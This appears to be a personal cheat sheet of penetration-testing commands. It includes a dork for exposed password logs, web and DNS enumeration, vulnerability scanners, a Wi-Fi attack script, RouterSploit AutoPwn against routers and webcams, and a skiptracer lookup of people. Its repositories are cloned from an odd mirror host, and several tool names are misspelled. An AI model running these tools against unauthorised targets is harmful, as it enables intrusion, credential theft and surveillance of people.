Allintext:password textfile:log after:2018
### WEBSERVER ENUMERATION ###
apt install whatweb ip
whatweb -4 domain.com
## to get dns info
dnsrecon -d domain.com
whatweb domain.com
python rsf.py
### TO ENUMERATE SUBDOMAINS sublist3r
wget https://github.com/aboul3la/Sublist3r/archive/master.zip
unzip master.zip
./sublist3r.py -d yourdomain.com
## look thru namesystem for hidden
sudo apt install dirbuster
### WEB BASED VULNS ###
git clone https://github.com/droope/droopescan.git
apt install python-pip
pip install droopscan
pip install -r requirements.txt
./droopescan scan --help
## doopscan to scan vulnrable webservers
droopscan scan drupal -u URL_HERE
droopscan scan silverstripe -u URL_HERE
./droopescan scan --help
droopescan scan drupal -u example.org
droopescan scan drupal -U list_of_urls.txt
droopescan scan -U list_of_urls.txt
python skiptracer.py -l (phone|email|sn|name|plate)
## Nikto for webserver vuln scans
git clone https://github.com/sullo/nikto
# Main script is in program/
cd nikto/program
# Run using the shebang interpreter
./nikto.pl -h http://www.example.com
# Run using perl (if you forget to chmod)
#### ONENVAS (NESSUS CLONE) VULN SCAN ###
apt install openvas
######$#######################
### LAZY SCRIPT --> WIFI VULN ###
# https://null-byte.wonderhowto.com/how-to/hack-wi-fi-networks-more-easily-with-lazy-script-0185764/
# https://github.com/arismelachroinos/lscript
cd
git clone https://github.com/arismelachroinos/lscript.git
cd lscript
chmod +x install.sh
./install.sh
iwconfig wlan0 mode monitor
ip a
######$#############################################################
###3 ROUTERSPLOIT --> ROUTERS, WEBCAM, ANY BROADCASTED DEVICE ###
# https://null-byte.wonderhowto.com/how-to/seize-control-router-with-routersploit-0177774/
# AutoPwn
#
sudo apt-get install python3-pip requests paramiko beautifulsoup4 pysnmp
git clone https://github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py
#### (Install for mac os)
git clone https://github.com/threat9/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt
#